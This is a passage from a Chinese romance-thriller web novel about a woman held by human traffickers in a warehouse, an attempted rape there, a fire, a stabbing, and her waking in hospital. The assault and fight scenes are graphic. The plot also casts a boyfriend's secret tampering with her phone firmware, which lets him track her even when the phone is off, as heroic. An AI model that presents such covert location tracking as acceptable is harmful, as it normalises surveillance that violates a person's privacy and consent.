旁边的杨亚沙看到这里,已经从震惊中缓过来了一些,他眼看着陈梓川一蹶不振的样子,准备再回一趟仓库。这个人刚好可以帮他拖住陈梓川……
等杨亚沙抄小道再次来到仓库时,门口居然站了个人。
那人约莫五十出头,头顶光溜溜的,只两侧留着几缕灰败的头发,发梢沾着些干草碎屑,嘴里叼着一根牙签,正歪歪扭扭靠在树干上刷短视频。
杨亚沙警惕地看了眼周围的深山老林,走过去压低声音:“你疯了吗?不是说好的1点?现在全是警察。”
“tui!”宰波吐出那根牙签站起身:“怂逼。”他转而又问:“仓库他们查过没?”
杨亚沙点头:“查完了丢进来的。”
“嗯……”
宰波跟着杨亚沙进了仓库,进去之后一股味,熏得他扇了两下。看到李今晏的时候他两终于眼放光。
这个不错……这么暗这么远也能看出皮肤很好姿色上等。
李今晏还狼狈的坐在地上,昨晚淋了雨却没有洗澡收拾,现在又饿了大半天,她实在有些有气无力。她微抬起眼,看见杨亚沙旁边那个人长得肥头大耳,简直恶心至极。
杨亚沙问:“现在就拉走吗?”
可没想到,宰波看着李今晏:“买方需求有变,他们现在不要马尾黄了。”
马尾黄?这是她的代号?是因为火车站初见时,她穿的黄色冲锋衣扎着高马尾吗?
不要她了,那会放她走吗?
杨亚沙皱眉道:“那要谁?”
他这么辛辛苦苦的费劲拐来,说不要就不要了?
难道……是阿英??如果是阿英,他现在就剁了这孙子!杨亚沙紧抿着唇。
宰波又回过头来看杨亚沙,居然上上下下打量了他一圈。杨亚沙微怔,有种不好的预感。
果不其然,下一秒,他就轻描淡写的说:“要你。”
这下就连李今晏都震惊了。
杨亚沙表情数变,将话吞进了肚子里,他定定看着宰波,不发一言。
“没错,就是你,谁叫你嗓子好呢,叫.床应该不错……”宰波咳出痰来,用脚在水泥地上摩了两下,两根食指交叉:“给你这个数。”
……10W。
李今晏倒吸一口凉气,纵使她讨厌杨亚沙,这时候还是扯着钝痛的嗓子大喊:
“杨亚沙!你别答应!你要是答应,这辈子就真的毁了!!”
宰波听到声音,又偏头看向远处的李今晏,笑得一脸淫.荡:
“这个嘛,我就收了。”
28. 救我
杨亚沙没说话,他站在门口,那微长碎发遮住了眼,看不清神情。
宰波笑得一脸油腻,朝着李今晏走来。不过刚走了两步他又转头去问:“应该是答应的吧?”
10万……给阿英做完手术还能帮他改善一下家里的条件,杨亚沙没理由不答应。
杨亚沙缓缓转过头来。李今晏终于看清他的脸,他面色平静,说了两个字:“当然。”
宰波笑了一声,那笑声好像在说,他就知道。
“那你出去吧,一会两点……啊三点吧,三点在老地方见面。”
杨亚沙转过头,沉默着走出了仓库。
宰波在背后骂他:“关门啊!”
那边空荡荡的,没人回应。
草……哎,算了,反正也没人经过。
李今晏的心狠狠一沉,她拼命摩擦着手上的藤条,血道纵横也毫不在乎,因为她绝不能辱死在这里。
那个五十多岁满脸横肉的男人,此刻正像魔鬼一样一步一步走向她。
她很清楚接下来会发生什么。
李今晏尽量稳定自己的声音:“这里有点脏……”
她知道大喊大叫没有用,也倔强着不愿卑躬屈膝去讨好他,只能咬着牙憋着泪试探着说了这么一句。
可宰波只是笑:“下次换个地儿。”
宰波走近了,李今晏才看清他穿的那件花格子衬衫,不是清爽的浅色系,是那种暗红墨绿土黄全搅在一起的配色,像把陈年旧布胡乱拼在一起,恶心得她想吐。
李今晏屏住呼吸别开脸,身体却止不住的颤抖。
妈妈,爸爸,陈梓川……救我。
救救我。
宰波蹲下身检查了下她手上的藤条,满意的笑笑:“够有劲啊。”
藤条都沾了一层红。
宰波又走到她跟前,弯腰一手捏住她的下巴,肤若凝脂手感温润,他嘿嘿笑起来:“这下真的捡到宝了,哎呀呀。”
李今晏狠力别开的脸又被他抓住:“别跑,这种事得顺着来,顺着来舒服。”说完又往地上啐了口痰,然后开始不断靠近李今晏。
似乎是觉得她坐着会不太方便,宰波停住前倾,抓住她的脚踝往前狠狠一拖,李今晏瞬间悬空半躺,手上的藤条刺入更深,她痛苦的‘啊’了一声。宰波听到这声音,笑得更淫,要去摸她的胸。
可下一秒!李今晏找准时机的脚蓄力踹在他下.体!
“啊——”宰波吃痛大叫,捂着下.面跌倒在地。
这臭娘们的脚力怎么tm这么重!
宰波发怒站起身,按住她的腿,又狠狠压下来……
他身上的衣服带着股浑浊气,李今晏用尽全身力气死死抵住宰波不断下压的胸膛,她的脸憋得通红,牙关紧咬,喉咙里发出困兽般的呜咽,泪水混着汗水糊了满脸。
李今晏额前的碎发被冷汗黏在皮肤上,遮住了半只眼,露出的那只却亮得惊人,像困在陷阱里仍竖着尖刺的小兽。
她嘴角破了,渗出血珠,伸出舌尖舔了一下,尝到铁锈味。李今晏扯出个极淡的、带着血腥味的笑。
宰波粗重的喘息喷在她脸上,一只粗糙的大手已经粗暴地拉下她卫衣的一边,露出里面的黑色肩带和颤抖肩颈。
雪白肌肤上竟还有一些暗红痕迹,宰波靠近一嗅:“真骚啊~”
李今晏死咬着唇,当眼前人的身影笼罩下来时,她绝望的闭上眼,已经想好了要怎么和他同归于尽……
……
但真的要感谢老天庇佑吧,就在这时!
“放开她!你这畜生!”
仓库门口的杨亚沙嘶吼着,声音因为愤怒而尖锐变调。
宰波似乎被杨亚沙突如其来的这声喊叫激怒了,他暂时停下对李今晏的侵犯,猛地扭过头,浑浊的眼睛里闪着野兽般的凶光。
杨亚沙居然没走?而且最可恶的是,他现在的手里还端着一把长枪。那是他要他找来的,萨沙苗寨特有的猎枪。
宰波松开李今晏,恶恶骂了句:“臭小子!找死!”
李今晏大喘着气,睁开眼就看见杨亚沙眼神凶狠的站在仓库门口,拿枪指着宰波。
天哪!是杨亚沙!李今晏的泪水再次决堤,她定定望着他。
可……那是枪吗?是她眼花了?这个时代这个国家还能看见枪?
李今晏埋下头把松垮的衣领咬上来,再把泪水蹭干一些,抬头来看。
没错了,是枪。
杨亚沙隔空朝着她大喊:“今晏姐!我再不会和这种人同流合污!”
当初的无奈是真的,恨他们也是真的,但一直以来偷偷留证据更是真的……
李今晏当初说要帮忙,杨亚沙是非常非常开心和解脱的,他刚开始也愿意等这两天,所以一时间就答应下来。
但后来仔细一想,如果是这样直接断联,可能就再也揪不出宰波以及背后的团伙了……
杨亚沙本想着这次跟着李今晏到窝点的,宰波说选他的时候他也闷声答应下来,自己羊入虎口也没关系。
但这个畜生竟然要侵犯今晏姐!
他不能忍受这样的事发生!
宰波站起身看着杨亚沙,他慢吞吞举起双手,笑:“好弟弟,你这又是干嘛呀?”
杨亚沙把枪口死死对着他:“把包里的东西都拿出来,放下。”
“好,好好好。”宰波冷笑着,一一照做。
地上很快就摆满了两部手机,烟,打火机以及钥匙。
杨亚沙冷声:“没了吗?!”
宰波也盯着他:“不信你来搜啊。”
气氛有些凝固。
杨亚沙握紧武器的手指发白,汗水悄然滑落,他一步一步靠近宰波……再路过他……李今晏离他就几步路……
可就在杨亚沙刚经过他,慢慢转身的时候,宰波忽然抓住枪身用力一撇!杨亚沙还紧抓着的手臂狠狠一扭,他吃痛出声:“啊——”
枪换了主人,但宰波把它丢到一边:“空枪也敢来吓老子。”
萨沙苗寨的枪早就没有火药和弹丸了,枪身仅作文化展示,杨亚沙在这儿逗谁呢?
杨亚沙惊慌着,两步爬到李今晏身后,混乱
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着开始解她的束缚。
一些倒刺刺破他的指尖,他感受不到疼痛似的,到最后抓上就开扯。
宰波发狠朝着两人走来……
束缚还没解开,杨亚沙站起身去阻拦他,李今晏自己瞎摸着终于解开,可她刚一站起来又倒下去。
腿已经麻得快没有知觉了……
片刻喘息,李今晏的肺部剧烈起伏着,但求生的本能压倒了一切!她看到宰波扑向杨亚沙,顾不上身体和手腕的剧痛,又猛地从地上弹起来。
“砰!”眼前的两人就这么生撞在一起,杨亚沙虽瘦,但这样的全力冲击让宰波一个趔趄,千钧一发的机会,他狠狠踢在宰波的小腹上!
“呃!”宰波痛哼一声,捂着肚子后退了一步,脸上横肉抽搐,显然被激怒了。杨亚沙的反抗显然超出了他的预期。
“今晏姐!你跑啊!”杨亚沙尖叫,同时再次奋力蹬踹,试图阻止宰波靠近。
宰波看着李今晏:“跑不掉!你们一个都跑不掉!你小子敢玩阴的也一样!”
李今晏站定了,起身后的她才发现,看似黑暗的仓库,其实不远处竟然堆了几箱油桶,而不起眼的角落里,也有一些散落的破旧农具。她趁着两人对峙,跑过去随手抓了两根铁锹。
宰波站稳了身形,看着眼前两个拼命挣扎的人,眼中凶光更盛,嘴角甚至扯出一丝残忍的笑意。“妈的,够烈!老子喜欢!”
他啐了一口,不再急着扑上来,而是从后腰猛地抽出一把闪着寒光的匕首!刀尖直指正在大喘气的杨亚沙。
仓库里弥漫着铁锈和霉味,唯一的光源从高处破窗透进来,仓库内的粉尘大肆飞舞。
杨亚沙的后背重重撞在管道上,“哐当”一声闷响,震得他喉咙发甜。他刚躲过匕首的横划,瘦长的腿还没站稳,就被宰波带着啤酒肚的身体撞得踉跄。对方的花衬衫被汗水浸得发皱,手里的匕首在昏暗中划出冷冽的弧线,每一次挥动都带着风,刮得杨亚沙脸颊发紧。
“跑啊?”宰波的声音像砂纸擦过木头,他猛地探身,匕首直刺杨亚沙腰侧。杨亚沙慌忙侧身,胳膊肘却重重磕在铁管上,疼得他眼前发黑。就这一瞬的迟滞,宰波已经抓住他的后领,像拎小鸡似的把他掼向地面。
水泥地冰凉刺骨,杨亚沙刚撑起上半身,匕首就“笃”地钉在他脸侧的地面上,距离鼻尖不过寸许。他能看见刀刃上自己模糊的影子,还有宰波那双布满红血丝的眼睛。对方抬脚就往他胸口踹,杨亚沙翻滚着将将躲开。
可宰波又扑上来,膝盖顶住他的后腰。杨亚沙挣扎着想抓身边的管道,手腕却被死死按住,按在油腻的地面上打滑。匕首被提了起来,冰冷的尖端抵住他后颈,带着铁锈和油污的气息。
“小杂种,服了没?”宰波喘着粗气,唾沫星子喷在他耳后。杨亚沙咬着牙扭动,很难发力。他能感觉到后颈的皮肤被匕首尖压得发疼,稍一用力就会被划破。远处漏下的光越来越暗,管道的影子像条毒蛇,蜷在他视线边缘。
宰波回头去看,可昏暗仓库竟然静静悄悄……
李今晏呢?
29. 大火
宰波似乎也察觉到了异常。他松开杨亚沙的头发,警惕地环顾四周。
“那个小娘们呢?”
他嘟囔着,声音里带着一丝不安。仓库太安静了,只有远处偶尔传来几声鸟叫,更显得这空间内的死寂令人窒息。
杨亚沙感觉到压在自己背上的力量稍微减轻了一点。他趁机深吸一口气,肺部火辣辣的疼。
“今晏姐……快跑……”他用尽力气喊道,声音却微弱得几乎听不见。
宰波冷笑一声,又加重了手上的力道。“闭嘴!”他恶狠狠地说,同时不安地扫视着周围那些高大的油桶堆。
昏暗的光线下,每一个阴影都像是藏着人。
就在这时,一个黑影从两排油桶之间的缝隙中猛然冲出!
李今晏双手各持一把生锈的铁锹,像持剑的武士一样向宰波冲来。她的头发在奔跑中彻底散开,黑发在脸侧飞舞,眼睛里燃烧着决绝的光芒。
第一把铁锹朝着宰波的头部横扫而去,带起一阵风声。
“去死吧!”她尖叫道。
但宰波的反应快得惊人。他松开杨亚沙,身体猛地后仰,铁锹擦着他的鼻尖划过。在李今晏还未来得及挥动第二把铁锹时,他已经抓住她的手腕,用力一扭。
“啊!”李今晏痛呼一声,铁锹当啷一声掉在地上。
宰波顺势一拉,李今晏踉跄着向前扑去。他另一只手掐住她的脖子,将她狠狠按在旁边的桐油桶上。金属桶发出沉闷的响声,在空旷的仓库里回荡。
“小贱人,还想偷袭我?”宰波喘着粗气,脸上的横肉因为愤怒而扭曲。他狞笑着,腾出一只手来,扇了李今晏两个耳光。
清脆的响声在仓库里回荡,李今晏的嘴角立刻渗出血丝,眼前阵阵发黑。
杨亚沙看得目眦欲裂,他用尽全力弓起背,挣扎着爬起来。
“放开她!”他嘶吼着扑上去,却被宰波一脚踹在肚子上,重重摔回地面,爬不起来了。
李今晏的视线开始模糊,痛苦让她眼前发黑。她绝望地用脚踢向宰波的膝盖,却被他轻易躲开。
宰波的□□而浑浊,眼中燃烧着赤裸的□□和掌控一切的疯狂。
李今晏被他像猎物般拖拽着,手腕几乎要被捏碎,一路踉跄着被拖向仓库大门的方向,那里是唯一的光源,也是他准备彻底享用“战利品”的地方。
李今晏的脸上泪痕混杂着灰尘,眼中只剩下深不见底的恐惧和屈辱。
“省点力气,小美人儿……”宰波狞笑着,用力将她往门口敞亮的区域甩去,意图在光天化日下施加暴行。
李今晏重重摔在离大门几步之遥的水泥地上,尘土飞扬。
宰波庞大的身躯带着令人作呕的气息压了下来,粗糙的大手直接抓向她的衣服!
“不——!!”李今晏发出撕心裂肺的尖叫,绝望地用指甲抓挠,双腿乱蹬,却如同螳臂当车。
“畜生!放开她!”
一声饱含血泪的嘶吼从仓库深处的浓重阴影中炸响。
是杨亚沙!
他挣扎着从一堆空桶旁爬起,嘴角淌血,眼中却燃烧着同归于尽的烈焰。
他看到了宰波将李今晏拖向门口的意图,更看到了距离李今晏摔倒位置不远的地面上,一滩深褐色、粘稠的桐油正缓缓扩散,那是之前打斗撞松了一个半满油桶的阀门漏出来的!
杨亚沙的手在身边的杂物中疯狂摸索,他的指尖触到了一个冰冷坚硬的老旧打火机!
求生的本能和对李今晏的守护欲压倒了对死亡的恐惧。他死死攥住打火机,目光如炬,锁定了那滩桐油……
宰波被杨亚沙的怒吼稍稍分神,但手上的动作只是顿了一瞬,随即更加粗暴:“小杂种,找死!”
就在宰波的注意力被杨亚沙吸引,身体微微侧转的瞬间!
杨亚沙用尽残存的所有力气,拇指狠狠擦过打火机的滚轮!
“嚓——!”
一点橘黄色的火苗骤然亮起。
“一起死吧!”杨亚沙咆哮着,将燃烧的打火机用尽全身力气,朝着那滩致命的桐油投掷过去!
打火机在空中翻滚,划出一道短暂而决绝的光弧。
“草!”宰波眼角余光瞥见飞来的火源和地上的油迹,瞬间吓得魂飞魄散!
侵犯的欲望瞬间被求生的本能取代,他像被烙铁烫到一样猛地从李今晏身上弹开,甚至顾不上再给她一脚。
打火机精准的落入油污中心!
“噗——轰——!!!”
不是爆炸,而是迅猛无比的爆燃!橘黄色火焰瞬间张开,窜起一人多高!
炽热的火舌发出“嘶嘶”的贪婪咆哮,沿着油迹和旁边泄漏的油桶疯狂蔓延,浓密呛人的黑烟带着刺鼻的焦糊味冲天而起。
“啊!”宰波被身后骤然爆发的火浪和热辐射逼得连连后退,头发眉毛都传来焦糊味。
他惊恐地看着迅速吞噬油桶和旧木箱的火焰,又看了眼地上因惊吓和窒息几乎昏厥的李今晏,以及火墙后影影绰绰、似乎还想冲过来的杨亚沙。
逃!立刻逃出去!把门锁死!烧死他们!
他毫不犹豫,转身就向敞开的仓库大门狂奔!速度快得惊人,肥胖的身体爆发出最后的求生潜能。他一步跨出仓库大门,冲进了清新的空气和刺眼的阳光中!
可就在他冲出大门惊魂未定,准备回身去拉那沉重铁门将其锁死的刹那!
一个高大健硕如同铁塔般的身影,带着山雨欲来的气势,从大门侧面猛地扑出!
是陈梓川!
他刚到不久,就听到仓库里爆燃的巨响,看到冲天的黑烟,紧接着就是宰波狼狈窜出。
自己的位置终于和手机上的红点重合,杨亚沙这两天一直来的地方,就是这里,他果然有问题。
陈梓川来不及多想,砂锅大的拳头带着积压已久的愤怒和救人的急迫,如同重锤般狠狠砸向宰波的面门!
李今晏就躺在里面,这个跑出来要把她锁死在里面的,能是什么好人?
宰波仓促间抬手格挡,但陈梓川含怒一击的力量岂是他能轻易接下?
“砰”
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的一声闷响,宰波被砸得眼冒金星,踉跄着向后跌倒,直接摔回了仓库大门的内侧边缘!
“李今晏!”陈梓川心急如焚,看也不看摔倒的宰波,往浓烟滚滚、火光冲天的仓库里冲去!
李今晏就这么奄奄一息躺在地上,满脸脏污唇角带血。陈梓川跑进去心痛的抱起她:“李今晏!李今晏!醒醒李今晏!”
李今晏闭着眼,没有任何反应。
但就在这一瞬!
宰波眼中闪过一丝极度怨毒和疯狂的寒光!他知道自己完了,但临死也要拉个垫背的!
他强忍晕眩和手臂剧痛,猛地从后腰再次抽出那把寒光闪闪的匕首,趁着陈梓川全部注意力都在马尾黄身上。那是他身体前倾、后背完全暴露的绝佳时机!
“去死吧!!”宰波发出一声野兽般的嚎叫,从地上一跃而起,将全身的力量和所有的恨意灌注在匕首上,朝着陈梓川毫无防备的后心狠狠刺去!
这一下偷袭,阴狠毒辣快如闪电!
“噗嗤——!”
利刃穿透皮肉,撕裂纤维的声音在这方寸之地显得格外清晰,令人毛骨悚然。
匕首深深扎进了陈梓川右后背肋下的位置,鲜血瞬间喷涌而出,染红了他的深色卫衣。
“嗯啊——”陈梓川身体猛地一僵,剧痛让他眼前一黑,但怀中的李今晏却丝毫未松。他缓缓转过头,看到的是宰波那张因疯狂和得逞而扭曲狰狞的脸。
“陈哥!!”仓库深处,隐约传来杨亚沙撕心裂肺的哭喊。
宰波脸上露出残忍的快意,正想拔刀再刺!
眼前又黑了一瞬,有人从仓库外逆光而来。
“啊——”后背受到猛地一击,宰波发恨回头。
同时,一阵急促密集,由远及近的奔跑脚步声如同沉闷的鼓点,狠狠敲碎山林的寂静。脚步声杂乱却有力,踩踏着碎石和泥土,带着不容置疑的迫近感。
迟了几步的喻炀和警察,终于到了。
李今晏的手机被陈梓川篡改过一些固件,基带处理器在关机后伪装断电但仍保持低功耗运行。
也就是说,就算李今晏的手机关机,陈梓川依然可以监测到她的定位。
第一次看的时候,陈梓川并未发现定位的异常,报告完了位置就开始找人,可第二天那定位竟然动了起来,还完美和杨亚沙的轨迹重合……这让他不禁有些怀疑。
喻炀的出现让他彻底乱了心神,五年前的真相到底是什么?他一定要问陈元青要一个真相。
可电话打过去,陈元青竟然毫无辩解,只是痛哭流涕求他原谅。
陈梓川快把手机捏碎了,最后只留下一句:“你们该去求李今晏一家……”
……
陈梓川强忍着撕心裂肺的剧痛,趁宰波被震慑的瞬间,用尽最后的力量,猛地一个肘击狠狠撞在宰波的胸口!
“呃!”宰波猝不及防,被撞得闷哼一声,松开了握着匕首的手,踉跄后退。
陈梓川也因失血和剧痛,眼前阵阵发黑,身体摇晃着,抱着李今晏倒在了地上。
30. 医院
寨子里乱成了一锅粥。
警笛声,议论声,指责声,阿婆阿英的哭喊声……各种庞杂的声音揉在一起震碎了天。
如此盛大的节日就这样仓惶落幕。
可这些声音李今晏都听不见了,在昏过去的那一刹那,她脑子里是感官的崩溃和混乱。强烈的窒息感、灼热感与剧痛感侵扰着她的身心。
她看不清宰波的脸,只觉得就这样睡过去吧,就这样睡过去吧……睡过去就什么都不知道了。
就这样烧死我吧!烧吧……烧掉他……烧掉这一切……烧掉我……
热泪滑落的那一秒,李今晏被彻底灼伤,伤到大脑好像开启了自动保护机制,开始闪回一些美好过去。
小时候和父亲在滇池边喂红嘴鸥,她嘴馋总会偷吃一点鸥粮,父亲发现了,又宠溺地轻碰她的脸,手掌捧起让她吐出来。
小今晏埋下头,乖乖交出来,眼疾嘴快的红嘴鸥争先恐后的来抢,为首的那只,还和她撞了撞额头。小今晏和父亲就这样嘻嘻笑起来。
再大一点,家里给她买了钢琴,但李今晏三分钟的热度根本坐不住,后来只能在琴凳上披头散发摇头晃脑的装激情大师,吵得邻里不得安生。
母亲看她实在不喜欢,又给她换了跆拳道,可学了没两天,又把人高段位的男孩儿眼睛给踢肿了……
就这样,李今晏从钢琴跆拳道轮过了小提琴琵琶毛笔字中国舞,最后又躺回家抠脚,被邻居封了个‘十项全不能’冠军。
往后,就是奋斗充实的中学时代,再然后,就是和陈梓川一起的大学时光。
她还记得在一起那天。
那是大一寒假前的最后一场篮球赛,计算机vs财管,汉语言文学vs人工智能。
青协的志愿者们好多都要准备期末考试,李今晏自己去超市搬了箱矿泉水来。苦哈哈搬第二箱的时候,多了几双助人为乐的手。
李今晏朝着计算机的几个男生笑:“谢谢你们啊。”
为首的男生抱过她的水:“小事儿,嫂子。”
李今晏噎住,往旁边瞥了几眼,陈梓川已经抱着一箱水走远了。她不好意思但又有点爽:“嘿嘿嘿,你咋也学关斯扬。”
男生笑笑没说话,抱着水走了。
球赛开始前,李今晏又假装不经意的踱到陈梓川跟前:“你就穿个球衣,冷不冷?”
“跑起来就不冷。”
他又不说话了,李今晏主动说:“谢谢你队友们啊,帮我搬水。”
陈梓川顿了两秒,冷不丁的问:
“怎么不谢我?”
李今晏屏息凝神:“嗯?”
“如果不是我叫,他们怎么会去?”
李今晏到现在还记得,那时扑通扑通跳个不停的心脏,她整个人都烧起来了:“那句……‘嫂子’也是?”
你叫他们喊的?
这时裁判吹了两声哨,陈梓川就这么看着她,慢慢退回球场,身边的啦啦队们都逐渐兴奋起来,很多迷妹开始大喊陈梓川的名字。
转身前陈梓川点点头,用口型说了句:
是。
后来那晚的聚餐,所有人都在叫她嫂子……
可美好总是如梦似影,她还没有再见父母一面,还没有帮下阿英,也还没有和陈梓川去青海……没有和他说那句……
我想你。
泪水逐渐干涸,意识终于消散。
·
一天后。
李今晏再次醒来的时候,是在县城的医院里。睁开眼,又看到那样脏污的天花板,李今晏第一反应是:自己竟然还活着。
她的思绪还没有漫延开,熟悉温暖的声音就闯入了脑海。
“今晏!你醒了!”方鸣玉激动的趴在床边,回头去说:“老李!快去叫喻炀过来!女儿醒了!”
“好好好!”本来累睡着的李玉龙看到女儿醒来,‘腾’得一下从椅子上弹起来,冲了出去。
“妈……爸……”李今晏艰难吐出两个字。
方鸣玉想哭:“你都睡了一天了。”
“我……我还活着?”李今晏紧紧皱着眉,开始感受身体的不适:“我是不是,我是不是被……”
李今晏不敢说……
方鸣玉咬着唇摇头:“什么事都没有!什么事都没有,宰波和吴云都被抓了!”
吴云……大概就是杨亚沙。
李今晏挣扎着坐起来:“可是杨……吴云他帮了我。”
方鸣玉帮她垫上靠垫:“他帮了你又怎样,他拐卖妇女在先,还不止一个呢,警察一问就全都招了。”
李今晏整个人都发愣:“那,他要被判几年?”
“七八年?我也不清楚,反正拐卖妇女罪是不轻的。”方鸣玉:“鉴于他抓住了宰波为警方提供了很多线索
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的份上,也顶多降到四五年。”
李今晏喃喃道:“四五年……唉……”
方鸣玉白她一眼:“你是不是蠢啊,他们要害你,你还在这儿为他着想。”
方鸣玉有时候真的觉得自己女儿善良到愚蠢,像个滥好人。
可李今晏摇摇头:“不,我从不觉得做错事不需要受到惩罚,吴云拐卖妇女是错了,大错特错,但他的初心可鉴,而且也给警察提供线索,能够救出更多的妇女。综合下来,我觉得他可以算好人。”
方鸣玉别开脸,不说话了。
李今晏又问:“我最后是怎么出来的?谁救了我?警察赶到了吗?”
方鸣玉看她一眼,又微微侧头,最终还是说出那三个字:“陈梓川。”
陈梓川?是陈梓川救了她?
李今晏疑惑:“那……他人呢?”
她心下一沉,陈梓川如果没来守着她,大概只有两种可能。第一种是方鸣玉赶出去了,第二种是……
果不其然,方鸣玉冷着脸道:“……他就在旁边。”
在旁边?李今晏更不信了。她掀开被子就要下床,很坚定:“我要去看他。”
方鸣玉拉住她:“不会很严重的,你好好休息。”
看方鸣玉的表情,李今晏确定,陈梓川受伤了。他被火烧到了吗?她晕过去的时候,大火已经开始蔓延。
李今晏:“怎么会不严重?你刚刚说我已经睡了一天了,一天陈梓川都没有来看我,他一定是很严重。”
方鸣玉拦不住,李今晏下床来,趿上拖鞋,但刚站起身的她就定住了脚。
病房门口站着两个人,两人都穿着西装,那是陈元青和蓝姲,陈梓川的父亲和母亲。
再次看到陈元青,还是在医院,李今晏说不害怕是假的。
五年前的记忆逐渐开始重叠,那年印象中本就慈祥和蔼的人,忽然拔刀相向,任谁也不能接受。多少个夜晚辗转反侧,一遍一遍地对自己说‘没事的’‘没事的’才能勉强入睡。
看到他的那一刻,李今晏才知道这样的阴影竟还没完全消散。她动了动唇:“陈叔叔,蓝阿姨……”
方鸣玉死死瞪着他们,挡在李今晏跟前:“这里不欢迎你们。”
李今晏拉她的衣服:“妈……”
陈元青犹豫着向前一步走:“对不起今晏……这五年来,我一直都很愧疚。”